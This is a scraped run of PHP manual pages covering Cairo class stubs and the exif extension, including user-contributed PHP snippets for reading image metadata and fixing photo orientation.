Description

public array CairoMatrix::transformDistance ( string $dx , string $dy )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

dx

Description...

dy

Description...

Return Values

Description...

Examples

Example #1 CairoMatrix::transformDistance() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The transformPoint purpose

  • « CairoMatrix::transformDistance
  • CairoMatrix::translate »
  • PHP Manual
  • CairoMatrix
  • The transformPoint purpose

CairoMatrix::transformPoint

(PECL cairo >= 0.1.0)

CairoMatrix::transformPoint — The transformPoint purpose

Description

public array CairoMatrix::transformPoint ( string $dx , string $dy )

The method description goes here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

dx

Description...

dy

Description...

Return Values

Description...

Examples

Example #1 CairoMatrix::transformPoint() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The translate purpose

  • « CairoMatrix::transformPoint
  • CairoOperator »
  • PHP Manual
  • CairoMatrix
  • The translate purpose

CairoMatrix::translate

cairo_translate

(PECL cairo >= 0.1.0)

CairoMatrix::translate -- cairo_translate — The translate purpose

Description

Object oriented style (method):

public void CairoMatrix::translate ( string $tx , string $ty )

Procedural style:

void cairo_translate ( CairoContext $context , string $x , string $y )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

x

Description...

y

Description...

tx

Description...

ty

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The CairoOperator class

(No version information available, might only be in Git)

Introduction

This is used to set the compositing operator for all cairo drawing operations.

The default operator is CairoOperator::OVER

The operators marked as unbounded modify their destination even outside of the mask layer (that is, their effect is not bound by the mask layer). However, their effect can still be limited by way of clipping.

To keep things simple, the operator descriptions here document the behavior for when both source and destination are either fully transparent or fully opaque. The actual implementation works for translucent layers too. For a more detailed explanation of the effects of each operator, including the mathematical definitions, see http://cairographics.org/operators/.

Class synopsis

CairoOperator {
/* Constants */
const integer CLEAR = 0 ;
const integer SOURCE = 1 ;
const integer OVER = 2 ;
const integer IN = 3 ;
const integer OUT = 4 ;
const integer ATOP = 5 ;
const integer DEST = 6 ;
const integer DEST_OVER = 7 ;
const integer DEST_IN = 8 ;
const integer DEST_OUT = 9 ;
const integer DEST_ATOP = 10 ;
const integer XOR = 11 ;
const integer ADD = 12 ;
const integer SATURATE = 13 ;
}

Predefined Constants

CairoOperator::CLEAR

Clear destination layer (bounded)

CairoOperator::SOURCE

Replace destination layer (bounded)

CairoOperator::OVER

Draw source layer on top of destination layer (bounded)

CairoOperator::IN

Draw source where there was destination content (unbounded)

CairoOperator::OUT

Draw source where there was no destination content (unbounded)

CairoOperator::ATOP

Draw source on top of destination content and only there

CairoOperator::DEST

Ignore the source

CairoOperator::DEST_OVER

Draw destination on top of source

CairoOperator::DEST_IN

Leave destination only where there was source content (unbounded)

CairoOperator::DEST_OUT

Leave destination only where there was no source content

CairoOperator::DEST_ATOP

Leave destination on top of source content and only there (unbounded)

CairoOperator::XOR

Source and destination are shown where there is only one of them

CairoOperator::ADD

Source and destination layers are accumulated

CairoOperator::SATURATE

Like CairoOperator::OVER, but assuming source and dest are disjoint geometries

User Contributed Notes

There are no user contributed notes for this page.


The CairoPath class

(No version information available, might only be in Git)

Introduction

Note: CairoPath class cannot be instantiated directly, doing so will result in Fatal Error if used or passed

Class synopsis

CairoPath {
}

User Contributed Notes

There are no user contributed notes for this page.


The CairoPsLevel class

(No version information available, might only be in Git)

Introduction

Class synopsis

CairoPsLevel {
/* Constants */
const integer LEVEL_2 = 0 ;
const integer LEVEL_3 = 1 ;
}

Predefined Constants

CairoPsLevel::LEVEL_2

Description here...

CairoPsLevel::LEVEL_3

Description here...

User Contributed Notes

There are no user contributed notes for this page.


The CairoSubpixelOrder class

(No version information available, might only be in Git)

Introduction

Class synopsis

CairoSubpixelOrder {
/* Constants */
const integer ORDER_DEFAULT = 0 ;
const integer ORDER_RGB = 1 ;
const integer ORDER_BGR = 2 ;
const integer ORDER_VRGB = 3 ;
const integer ORDER_VBGR = 4 ;
}

Predefined Constants

CairoSubpixelOrder::ORDER_DEFAULT

Description here...

CairoSubpixelOrder::ORDER_RGB

Description here...

CairoSubpixelOrder::ORDER_BGR

Description here...

CairoSubpixelOrder::ORDER_VRGB

Description here...

CairoSubpixelOrder::ORDER_VBGR

Description here...

User Contributed Notes

There are no user contributed notes for this page.


The CairoSvgVersion class

(No version information available, might only be in Git)

Introduction

Class synopsis

CairoSvgVersion {
/* Constants */
const integer VERSION_1_1 = 0 ;
const integer VERSION_1_2 = 1 ;
}

Predefined Constants

CairoSvgVersion::VERSION_1_1

Description here...

CairoSvgVersion::VERSION_1_2

Description here...

User Contributed Notes

There are no user contributed notes for this page.


Exchangeable image information

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Exif Functions
    • exif_imagetype — Determine the type of an image
    • exif_read_data — Reads the EXIF headers from JPEG or TIFF
    • exif_tagname — Get the header name for an index
    • exif_thumbnail — Retrieve the embedded thumbnail of a TIFF or JPEG image
    • read_exif_data — Alias of exif_read_data

User Contributed Notes

A Austin 07-Jun-2012 03:42
If you have exif.so or php_exif.dll enabled under php.ini dynamic extensions, but you still have problem running any funtion, it is possible that you may need to change order of extensions in php.ini.

In many PHP installation packages the extensions are listed alphabetically. However, exif is dependent on mbstrings to be loaded first. Yet, with alphabetic ordering the exif is listed before mbstrings and it causes the error. Load mbstrings extensions before exif.

Thus, do put exif as the very last extension to load and you should be fine.


Introduction

With the exif extension you are able to work with image meta data. For example, you may use exif functions to read meta data of pictures taken from digital cameras by working with information stored in the headers of the JPEG and TIFF images.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

Your PHP must be compiled in with --enable-exif. PHP does not require any additional library for the exif module. Windows users must also have the mbstring extension enabled.

User Contributed Notes

There are no user contributed notes for this page.


Installation

To enable exif-support configure PHP with --enable-exif

Windows users must enable both the php_mbstring.dll and php_exif.dll DLL's in php.ini. The php_mbstring.dll DLL must be loaded before the php_exif.dll DLL so adjust your php.ini accordingly.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Exif supports automatically conversion for Unicode and JIS character encodings of user comments when module mbstring is available. This is done by first decoding the comment using the specified characterset. The result is then encoded with another characterset which should match your HTTP output.

Exif configuration options
Name | Default | Changeable | Changelog
exif.encode_unicode | "ISO-8859-15" | PHP_INI_ALL | Available since PHP 4.3.0.
exif.decode_unicode_motorola | "UCS-2BE" | PHP_INI_ALL | Available since PHP 4.3.0.
exif.decode_unicode_intel | "UCS-2LE" | PHP_INI_ALL | Available since PHP 4.3.0.
exif.encode_jis | "" | PHP_INI_ALL | Available since PHP 4.3.0.
exif.decode_jis_motorola | "JIS" | PHP_INI_ALL | Available since PHP 4.3.0.
exif.decode_jis_intel | "JIS" | PHP_INI_ALL | Available since PHP 4.3.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

exif.encode_unicode string

exif.encode_unicode defines the characterset UNICODE user comments are handled. This defaults to ISO-8859-15 which should work for most non Asian countries. The setting can be empty or must be an encoding supported by mbstring. If it is empty the current internal encoding of mbstring is used.

exif.decode_unicode_motorola string

exif.decode_unicode_motorola defines the image internal characterset for Unicode encoded user comments if image is in motorola byte order (big-endian). This setting cannot be empty but you can specify a list of encodings supported by mbstring. The default is UCS-2BE.

exif.decode_unicode_intel string

exif.decode_unicode_intel defines the image internal characterset for Unicode encoded user comments if image is in intel byte order (little-endian). This setting cannot be empty but you can specify a list of encodings supported by mbstring. The default is UCS-2LE.

exif.encode_jis string

exif.encode_jis defines the characterset JIS user comments are handled. This defaults to an empty value which forces the functions to use the current internal encoding of mbstring.

exif.decode_jis_motorola string

exif.decode_jis_motorola defines the image internal characterset for JIS encoded user comments if image is in motorola byte order (big-endian). This setting cannot be empty but you can specify a list of encodings supported by mbstring. The default is JIS.

exif.decode_jis_intel string

exif.decode_jis_intel defines the image internal characterset for JIS encoded user comments if image is in intel byte order (little-endian). This setting cannot be empty but you can specify a list of encodings supported by mbstring. The default is JIS.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

EXIF_USE_MBSTRING (integer)

The exif_imagetype() lists several related built-in constants.

User Contributed Notes

There are no user contributed notes for this page.


Exif Functions

Table of Contents

  • exif_imagetype — Determine the type of an image
  • exif_read_data — Reads the EXIF headers from JPEG or TIFF
  • exif_tagname — Get the header name for an index
  • exif_thumbnail — Retrieve the embedded thumbnail of a TIFF or JPEG image
  • read_exif_data — Alias of exif_read_data

User Contributed Notes

23-Dec-2004 11:55
exif.encode_unicode  string

    exif.encode_unicode defines the characterset UNICODE user comments are handled. This defaults to ISO-8859-15 which should work for most non Asian countries. The setting can be empty or must be an encoding supported by mbstring. If it is empty the current internal encoding of mbstring is used.

How come ISO-8859-15 works for most non-Asian countries? It's only for West European and does NOT work for Russian, Greek, Albanian, Polish, Czech, and so forth. The default should be 'UTF-8'


Determine the type of an image

  • « Exif Functions
  • exif_read_data »
  • PHP Manual
  • Exif Functions
  • Determine the type of an image

exif_imagetype

(PHP 4 >= 4.3.0, PHP 5)

exif_imagetype — Determine the type of an image

Description

int exif_imagetype ( string $filename )

exif_imagetype() reads the first bytes of an image and checks its signature.

exif_imagetype() can be used to avoid calls to other exif functions with unsupported file types or in conjunction with $_SERVER['HTTP_ACCEPT'] to check whether or not the viewer is able to see a specific image in the browser.

Parameters

filename
The image being checked.

Return Values

When a correct signature is found, the appropriate constant value will be returned otherwise the return value is FALSE. The return value is the same value that getimagesize() returns in index 2 but exif_imagetype() is much faster.

Note:

exif_imagetype() will emit an E_NOTICE and return FALSE if it is unable to read enough bytes from the file to determine the image type.

Changelog

Version | Description
5.3.0 | Added icon support.

Predefined Constants

The following constants are defined, and represent possible exif_imagetype() return values:

Imagetype Constants
Value | Constant
1 | IMAGETYPE_GIF
2 | IMAGETYPE_JPEG
3 | IMAGETYPE_PNG
4 | IMAGETYPE_SWF
5 | IMAGETYPE_PSD
6 | IMAGETYPE_BMP
7 | IMAGETYPE_TIFF_II (intel byte order)
8 | IMAGETYPE_TIFF_MM (motorola byte order)
9 | IMAGETYPE_JPC
10 | IMAGETYPE_JP2
11 | IMAGETYPE_JPX
12 | IMAGETYPE_JB2
13 | IMAGETYPE_SWC
14 | IMAGETYPE_IFF
15 | IMAGETYPE_WBMP
16 | IMAGETYPE_XBM
17 | IMAGETYPE_ICO

Examples

Example #1 exif_imagetype() example

<?php
if (exif_imagetype('image.gif') != IMAGETYPE_GIF) {
    echo 'The picture is not a gif';
}
?>

See Also

  • image_type_to_mime_type() - Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype
  • getimagesize() - Get the size of an image

User Contributed Notes

sourabh dot deshmukh at snstech dot com 10-Dec-2013 10:42
This functions showing up a warning message that "warnings stream does not support seeking". Is it related to size of file which you mentioned in earlier post or something else. Also how do I get rid of that warning?
christophe dot tournayre at univ*bpclermont dot Fr 18-Sep-2013 06:01
Because I only want to check for jpeg or png from a memory string, this is my 2 functions that are quick and don't have any dependencies :

<?php
  function is_jpeg(&$pict)
  {
    return (bin2hex($pict[0]) == 'ff' && bin2hex($pict[1]) == 'd8');
  }

  function is_png(&$pict)
  {
    return (bin2hex($pict[0]) == '89' && $pict[1] == 'P' && $pict[2] == 'N' && $pict[3] == 'G');
  }
?>
admin at leonard !spam challis dot com 03-Nov-2010 05:02
Windows users: If you get the fatal error "Fatal error:  Call to undefined function exif_imagetype()", and you have enabled php_exif.dll, make sure you enable php_mbstring.dll. You must put mbstring before exif in the php.ini, i.e.:

extension=php_mbstring.dll
extension=php_exif.dll

You can check whether this has worked by calling phpinfo() and searching for exif.
tom dot ghyselinck at telenet dot be 13-Jan-2008 10:36
If the function exif_imagetype() is not available,
you can try the following workaround:

if ( ! function_exists( 'exif_imagetype' ) ) {
    function exif_imagetype ( $filename ) {
        if ( ( list($width, $height, $type, $attr) = getimagesize( $filename ) ) !== false ) {
            return $type;
        }
    return false;
    }
}
Tim 19-Nov-2007 05:40
By trial and error, it seems that a file has to be 12 bytes or larger in order to avoid a "Read error!".  Here's a work-around to avoid an error being thrown:

// exif_imagetype throws "Read error!" if file is too small
if (filesize($uploadfile) > 11)
    $mimetype = exif_imagetype($uploadfile);
else
    $mimetype = false;
10-Nov-2006 01:43
Seems to give a 'Read error' warning if the size of the file is very small (2 bytes). I think this is because it needs a min 3 bytes to determine the file type
tom at tomvergote dot be 07-Feb-2004 11:11
libexif can also be used to parse image info out of id3 tags:

exif_read_data("mp3_with_2.4ID3TAGS, '', true, false);


Reads the EXIF headers from JPEG or TIFF

  • « exif_imagetype
  • exif_tagname »
  • PHP Manual
  • Exif Functions
  • Reads the EXIF headers from JPEG or TIFF

exif_read_data

(PHP 4 >= 4.2.0, PHP 5)

exif_read_data — Reads the EXIF headers from JPEG or TIFF

Description

array exif_read_data ( string $filename [, string $sections = NULL [, bool $arrays = false [, bool $thumbnail = false ]]] )

exif_read_data() reads the EXIF headers from a JPEG or TIFF image file. This way you can read meta data generated by digital cameras.

EXIF headers tend to be present in JPEG/TIFF images generated by digital cameras, but unfortunately each digital camera maker has a different idea of how to actually tag their images, so you can't always rely on a specific Exif header being present.

Height and Width are computed the same way getimagesize() does so their values must not be part of any header returned. Also, html is a height/width text string to be used inside normal HTML.

When an Exif header contains a Copyright note, this itself can contain two values. As the solution is inconsistent in the Exif 2.10 standard, the COMPUTED section will return both entries Copyright.Photographer and Copyright.Editor while the IFD0 sections contains the byte array with the NULL character that splits both entries. Or just the first entry if the datatype was wrong (normal behaviour of Exif). The COMPUTED will also contain the entry Copyright which is either the original copyright string, or a comma separated list of the photo and editor copyright.

The tag UserComment has the same problem as the Copyright tag. It can store two values. First the encoding used, and second the value itself. If so the IFD section only contains the encoding or a byte array. The COMPUTED section will store both in the entries UserCommentEncoding and UserComment. The entry UserComment is available in both cases so it should be used in preference to the value in IFD0 section.

exif_read_data() also validates EXIF data tags according to the EXIF specification (» http://exif.org/Exif2-2.PDF, page 20).

Note:

Windows Me/XP can both wipe the Exif headers when connecting to a camera.

Parameters

filename

The name of the image file being read. This cannot be an URL.

sections

Is a comma separated list of sections that need to be present in file to produce a result array. If none of the requested sections could be found the return value is FALSE.

FILE | FileName, FileSize, FileDateTime, SectionsFound
COMPUTED | html, Width, Height, IsColor, and more if available. Height and Width are computed the same way getimagesize() does so their values must not be part of any header returned. Also, html is a height/width text string to be used inside normal HTML.
ANY_TAG | Any information that has a Tag e.g. IFD0, EXIF, ...
IFD0 | All tagged data of IFD0. In normal imagefiles this contains image size and so forth.
THUMBNAIL | A file is supposed to contain a thumbnail if it has a second IFD. All tagged information about the embedded thumbnail is stored in this section.
COMMENT | Comment headers of JPEG images.
EXIF | The EXIF section is a sub section of IFD0. It contains more detailed information about an image. Most of these entries are digital camera related.

arrays

Specifies whether or not each section becomes an array. The sections COMPUTED, THUMBNAIL, and COMMENT always become arrays as they may contain values whose names conflict with other sections.

thumbnail

When set to TRUE the thumbnail itself is read. Otherwise, only the tagged data is read.

Return Values

It returns an associative array where the array indexes are the header names and the array values are the values associated with those headers. If no data can be returned, exif_read_data() will return FALSE.

Changelog

Version | Description
4.3.0 | Can read all embedded IFD data including arrays (returned as such). Also the size of an embedded thumbnail is returned in a THUMBNAIL subarray, and can return thumbnails in TIFF format. Also, there is no longer a maximum length for returned values (not until the memory limit has been reached)
4.3.0 | If PHP has mbstring support, the user comment can automatically change encoding. Also, if the user comment uses Unicode or JIS encoding this encoding will automatically be changed according to the exif ini settings in php.ini
4.3.0 | If the image contains any IFD0 data then COMPUTED contains the entry ByteOrderMotorola which is 0 for little-endian (intel) and 1 for big-endian (motorola) byte order. Also, COMPUTED and UserComment no longer only contain the first copyright entry if the datatype was wrong.

Examples

Example #1 exif_read_data() example

<?php
echo "test1.jpg:<br />\n";
$exif = exif_read_data('tests/test1.jpg', 'IFD0');
echo $exif===false ? "No header data found.<br />\n" : "Image contains headers<br />\n";

$exif = exif_read_data('tests/test2.jpg', 0, true);
echo "test2.jpg:<br />\n";
foreach ($exif as $key => $section) {
    foreach ($section as $name => $val) {
        echo "$key.$name: $val<br />\n";
    }
}
?>

The first call fails because the image has no header information.

The above example will output something similar to:

test1.jpg:
No header data found.
test2.jpg:
FILE.FileName: test2.jpg
FILE.FileDateTime: 1017666176
FILE.FileSize: 1240
FILE.FileType: 2
FILE.SectionsFound: ANY_TAG, IFD0, THUMBNAIL, COMMENT
COMPUTED.html: width="1" height="1"
COMPUTED.Height: 1
COMPUTED.Width: 1
COMPUTED.IsColor: 1
COMPUTED.ByteOrderMotorola: 1
COMPUTED.UserComment: Exif test image.
COMPUTED.UserCommentEncoding: ASCII
COMPUTED.Copyright: Photo (c) M.Boerger, Edited by M.Boerger.
COMPUTED.Copyright.Photographer: Photo (c) M.Boerger
COMPUTED.Copyright.Editor: Edited by M.Boerger.
IFD0.Copyright: Photo (c) M.Boerger
IFD0.UserComment: ASCII
THUMBNAIL.JPEGInterchangeFormat: 134
THUMBNAIL.JPEGInterchangeFormatLength: 523
COMMENT.0: Comment #1.
COMMENT.1: Comment #2.
COMMENT.2: Comment #3end
THUMBNAIL.JPEGInterchangeFormat: 134
THUMBNAIL.Thumbnail.Height: 1
THUMBNAIL.Thumbnail.Height: 1

See Also

  • exif_thumbnail() - Retrieve the embedded thumbnail of a TIFF or JPEG image
  • getimagesize() - Get the size of an image

User Contributed Notes

sakib dot farid at gmail dot com 23-Oct-2014 06:33
Thanks to chadsmith729 at gmail dot com for the orientation fix.

Just small error, it should be
case 8, rotate -90
case 6, rotate 90
Shiva 10-Sep-2014 06:56
Hi all,

I used this function for reading exif data from images. Turns out that if some metadata fields are empty then the function reports unidentified tags with garbage data.

Hope this helps someone.
iam at thatguy dot co dot za 20-Dec-2013 05:15
I posted the original version of the function, but after using it for a while I discovered I didn't do enough error checking.

I have re-factored it somewhat, and it now returns an empty array should it not be able to read the image's exif. If it is able to, it will return the details it was able to retrieve. And this should be without error.

I am suppressing errors, because if you pass it images which cannot parse, you will get a warning.

<?php

# Modified Version of cameraUsed, no longer returns date.
public function cameraUsed($imagePath)
{
    # The default empty return
    $return = array(
        'make'      => "",
        'model'     => "",
        'exposure'  => "",
        'aperture'  => "",
        'iso'       => ""
    );

    // Check if the variable is set and if the file itself exists before continuing
    if ((isset($imagePath)) AND (file_exists($imagePath)))
    {
        // There are 2 arrays which contains the information we are after, so it's easier to state them both
        $exif_ifd0 = @read_exif_data($imagePath ,'IFD0' ,0);
        $exif_exif = @read_exif_data($imagePath ,'EXIF' ,0);

        # Ensure that we actually got some information
        if (($exif_ifd0 !== false) AND ($exif_exif !== false))
        {
            // Make
            if (@array_key_exists('Make', $exif_ifd0))
            {
                $return['make']     = $exif_ifd0['Make'];
            }

            // Model
            if (@array_key_exists('Model', $exif_ifd0))
            {
                $return['model']    = $exif_ifd0['Model'];
            }

            // Exposure
            if (@array_key_exists('ExposureTime', $exif_ifd0))
            {
                $return['exposure'] = $exif_ifd0['ExposureTime'];
            }

            // Aperture
            if (@array_key_exists('ApertureFNumber', $exif_ifd0['COMPUTED']))
            {
                $return['aperture'] = $exif_ifd0['COMPUTED']['ApertureFNumber'];
            }

            // ISO
            if (@array_key_exists('ISOSpeedRatings',$exif_exif))
            {
                $return['iso']     = $exif_exif['ISOSpeedRatings'];
            }
        }
    }

    # Return either an empty array, or the details which we were able to extrapolate.
    return $return;
}

?>
Clive dot Moore at ma-design dot com 06-Dec-2013 06:19
Following up on darkain at darkain dot com  script for grabbing the ShutterSpeedValue from exif data...
@http://php.net/manual/en/function.exif-read-data.php

I have found that the option shown for ShutterSppedValue, can also be ExposureTime in the exif data.

Also the code as written provides a WRONG return, as the return is always 1 so you get 1/1sec.

Here is corrected code, or a version that corrects what is obviously not working after 5 years since it was originally developed::

Here is the updated version for:: $exif[ExposureTime]

    function exif_get_float($value) {
        $pos = strpos($value, '/');
        if ($pos === false) return (float) $value;
        $a = (float) substr($value, 0, $pos);
        $b = (float) substr($value, $pos+1);
    return ($b == 0) ? ($a) : ($a / $b);
    };

    function exif_get_exposureTime(&$exif) {
        if (!isset($exif['ExposureTime'])) return false;
        $apex    = exif_get_float($exif['ExposureTime']);
        $shutter = 1/$apex;
        // above 1 sec exposure time::
        if ($shutter <= 1) return round($apex) . ' seconds';

    return '1/' . round(1 / $apex) . 'sec';
    };
hoangvu4000 at gmail dot com 27-May-2013 02:47
This is function, resize image and don't rotates images have exif info

PHP must be enabled:
extension=php_mbstring.dll
extension=php_exif.dll

<?php
function CreateThumbnail($pic,$thumb,$thumbwidth, $quality = 100)
{

        $im1=ImageCreateFromJPEG($pic);

        //if(function_exists("exif_read_data")){
                $exif = exif_read_data($pic);
                if(!empty($exif['Orientation'])) {
                switch($exif['Orientation']) {
                case 8:
                    $im1 = imagerotate($im1,90,0);
                    break;
                case 3:
                    $im1 = imagerotate($im1,180,0);
                    break;
                case 6:
                    $im1 = imagerotate($im1,-90,0);
                    break;
                }
                }
        //}
        $info = @getimagesize($pic);

        $width = $info[0];

        $w2=ImageSx($im1);
        $h2=ImageSy($im1);
        $w1 = ($thumbwidth <= $info[0]) ? $thumbwidth : $info[0]  ;

        $h1=floor($h2*($w1/$w2));
        $im2=imagecreatetruecolor($w1,$h1);

        imagecopyresampled ($im2,$im1,0,0,0,0,$w1,$h1,$w2,$h2);
        $path=addslashes($thumb);
        ImageJPEG($im2,$path,$quality);
        ImageDestroy($im1);
        ImageDestroy($im2);
}
?>
kurt at mandella dot biz 25-Apr-2013 03:34
Photos processed in Picasa often contain garbage data in the "MAKERNOTE" section and under EXIF.MakerNote, (UTF8) like:

[MakerNote] => r0~Þæ"î2OÔy     e §…b!    )    ) EI "ÐÓ
#s &0{ 'Û (å -Ð`ÿÿ@ÿÿÿìE è€Ýÿÿ  ÿÿÿÿÿÿx "ú»Dóÿ H ?.}BúIMG:DIGITAL IXUS 100 IS JPEGFirmware Version 1.00s›xÇØÿÿÿ–l¥ÿÿÿ  ØÌÌxŒ ÿÿÌÌŸãÿÿÿ¼Ž(½ (½T‹U’‹d–~Ø“¥ÿÿÿ    ÀÿœªãjáÀpgaXfaWb[Te«
8ú5:Áð-3åÿÿ5»ÿ ‹;ßÊ Š €à€`         ¸ ddîÿîÿîÿîÿîÿîÿ
ÿÿŠ1—ÏàôÉæ×¬gªiï

This can't be written to Blob in MySql. The following code removes the garbage tags.

$exif = exif_read_data($process_photo, 0, 'EXIF');

if($exif['IFD0']['Software'] == "Picasa"){

foreach ($exif as $key => $section){

 if($key != "MAKERNOTE"){
  foreach ($section as $name => $val){
   if($name != 'MakerNote'){
    $exifA[$key][$name] = $val;
   }
  }
  $exifB[$key] = $exifA[$key];
 }
}
$serialized_exif = serialize ($exifB);
}else{
$serialized_exif = serialize ($exif);
}
chadsmith729 at gmail dot com 20-Dec-2012 10:34
When the new update came out from Apple for iOS6 it provided the ability for iPad, iPod, and iPhones to be able to upload files from the device through Safari. Obviously this will open up an array of implementations where at one point it was just not possible.

The issue comes when a photo is uploaded it will be dependent on the location of the "button" when the photo was taken. Imagine if you will that you have your iPhone turned with the button at the top and you take a photo. The photo when uploaded to your server might be "upside down".

The following code will ensure that all uploaded photos will be oriented correctly upon upload:
<?php
$image = imagecreatefromstring(file_get_contents($_FILES['image_upload']['tmp_name']));
$exif = exif_read_data($_FILES['image_upload']['tmp_name']);
if(!empty($exif['Orientation'])) {
    switch($exif['Orientation']) {
        case 8:
            $image = imagerotate($image,90,0);
            break;
        case 3:
            $image = imagerotate($image,180,0);
            break;
        case 6:
            $image = imagerotate($image,-90,0);
            break;
    }
}
// $image now contains a resource with the image oriented correctly
?>

What you do with the image resource from there is entirely up to you.

I hope that this helps you identify and orient any image that's uploaded from an iPad, iPhone, or iPod. Orientation for the photo is the key to knowing how to rotate it correctly.
drpain at webster dot org dot za 13-Mar-2012 08:40
Please note that when resizing images with GD and most image processing scripts or applications you will loose the EXIF information. What I did as a workaround is book this information into MySQL before I re-size images.

<?php

// This function is used to determine the camera details for a specific image. It returns an array with the parameters.
function cameraUsed($imagePath) {

    // Check if the variable is set and if the file itself exists before continuing
    if ((isset($imagePath)) and (file_exists($imagePath))) {

      // There are 2 arrays which contains the information we are after, so it's easier to state them both
      $exif_ifd0 = read_exif_data($imagePath ,'IFD0' ,0);
      $exif_exif = read_exif_data($imagePath ,'EXIF' ,0);

      //error control
      $notFound = "Unavailable";

      // Make
      if (@array_key_exists('Make', $exif_ifd0)) {
        $camMake = $exif_ifd0['Make'];
      } else { $camMake = $notFound; }

      // Model
      if (@array_key_exists('Model', $exif_ifd0)) {
        $camModel = $exif_ifd0['Model'];
      } else { $camModel = $notFound; }

      // Exposure
      if (@array_key_exists('ExposureTime', $exif_ifd0)) {
        $camExposure = $exif_ifd0['ExposureTime'];
      } else { $camExposure = $notFound; }

      // Aperture
      if (@array_key_exists('ApertureFNumber', $exif_ifd0['COMPUTED'])) {
        $camAperture = $exif_ifd0['COMPUTED']['ApertureFNumber'];
      } else { $camAperture = $notFound; }

      // Date
      if (@array_key_exists('DateTime', $exif_ifd0)) {
        $camDate = $exif_ifd0['DateTime'];
      } else { $camDate = $notFound; }

      // ISO
      if (@array_key_exists('ISOSpeedRatings',$exif_exif)) {
        $camIso = $exif_exif['ISOSpeedRatings'];
      } else { $camIso = $notFound; }

      $return = array();
      $return['make'] = $camMake;
      $return['model'] = $camModel;
      $return['exposure'] = $camExposure;
      $return['aperture'] = $camAperture;
      $return['date'] = $camDate;
      $return['iso'] = $camIso;
      return $return;

    } else {
      return false;
    }
}

?>

An example of it's use follows:

<?php

$camera = cameraUsed("/img/myphoto.jpg");
echo "Camera Used: " . $camera['make'] . " " . $camera['model'] . "<br />";
echo "Exposure Time: " . $camera['exposure'] . "<br />";
echo "Aperture: " . $camera['aperture'] . "<br />";
echo "ISO: " . $camera['iso'] . "<br />";
echo "Date Taken: " . $camera['date'] . "<br />";

?>

Will display the following, depending on the data:

Camera Used: SONY DSC-S930
Exposure Time: 1/400
Aperture: f/4.3
ISO: 100
Date Taken: 2010:12:10 18:18:45

If the image has been re-sized and the information is no longer available then you should receive the following when echoing the same:

Camera Used: Unavailable
Exposure Time: Unavailable
Aperture: Unavailable
ISO: Unavailable
Date Taken: Unavailable

Some cameras do not capture all the information, for instance Blackberry phones do not record an aperture, or iso and you will get Unavailable for those fields.

I hope you find this helpful.
michael [at[ thisiswilson [dot[ com 21-Nov-2008 06:01
From - darkain at darkain dot com 's example.

If all the data is from the same image - simply

<?php
        $exif_data = exif_read_data ( $_FILES['photo']

        $emake =$exif_data['Make'];
        $emodel = $exif_data['Model'];
        $eexposuretime = $exif_data['ExposureTime'];
        $efnumber = $exif_data['FNumber'];
        $eiso = $exif_data['ISOSpeedRatings'];
        $edate = $exif_data['DateTime'];
?>

will work, I tried using the PEL library, and while pretty cool, I can't for the life understand how to call some things, this is simpler if your system is pretty basic or if you're in a rush.  If you have time, try playing with PEL.  It's not maintained at the moment though..

http://pel.sourceforge.net/
lincolnzsilva at gmail dot com 27-Sep-2008 01:57
Get some EXIFs fields (easy way):

<?php
        $exif_make = exif_read_data ( $_FILES['photo']['tmp_name'] ,'IFD0' ,0 );
        $emake = $exif_make['Make'];

        $exif_model = exif_read_data ( $_FILES['photo']['tmp_name'] ,'IFD0' ,0 );
        $emodel = $exif_model['Model'];

        $exif_exposuretime = exif_read_data ( $_FILES['photo']['tmp_name'] ,'EXIF' ,0 );
        $eexposuretime = $exif_exposuretime['ExposureTime'];

        $exif_fnumber = exif_read_data ( $_FILES['photo']['tmp_name'] ,'EXIF' ,0 );
        $efnumber = $exif_fnumber['FNumber'];

        $exif_iso = exif_read_data ( $_FILES['photo']['tmp_name'] ,'EXIF' ,0 );
        $eiso = $exif_iso['ISOSpeedRatings'];

        $exif_date = exif_read_data ( $_FILES['photo']['tmp_name'] ,'IFD0' ,0 );
        $edate = $exif_date['DateTime'];
?>
darkain at darkain dot com 29-Jul-2008 08:33
I wanted some quick and easy functions for computing the shutter speed and f-stop.  I couldn't find any anywhere, so I made some.  It took some research :

<?php
function exif_get_float($value) {
  $pos = strpos($value, '/');
  if ($pos === false) return (float) $value;
  $a = (float) substr($value, 0, $pos);
  $b = (float) substr($value, $pos+1);
  return ($b == 0) ? ($a) : ($a / $b);
}

function exif_get_shutter(&$exif) {
  if (!isset($exif['ShutterSpeedValue'])) return false;
  $apex    = exif_get_float($exif['ShutterSpeedValue']);
  $shutter = pow(2, -$apex);
  if ($shutter == 0) return false;
  if ($shutter >= 1) return round($shutter) . 's';
  return '1/' . round(1 / $shutter) . 's';
}

function exif_get_fstop(&$exif) {
  if (!isset($exif['ApertureValue'])) return false;
  $apex  = exif_get_float($exif['ApertureValue']);
  $fstop = pow(2, $apex/2);
  if ($fstop == 0) return false;
  return 'f/' . round($fstop,1);
}
?>
wdierkes at 5dollarwhitebox dot org 05-Sep-2007 03:20
Using the exif methods to read WINXP data returns unexpected results unless both exif and mbstring are compiled statically.  Please reference the following bug reports:

Bug #31980
Bug #23105

Specifically, the last comment on #23105:

"[8 Apr 2003 4:26pm UTC] edink@php.net

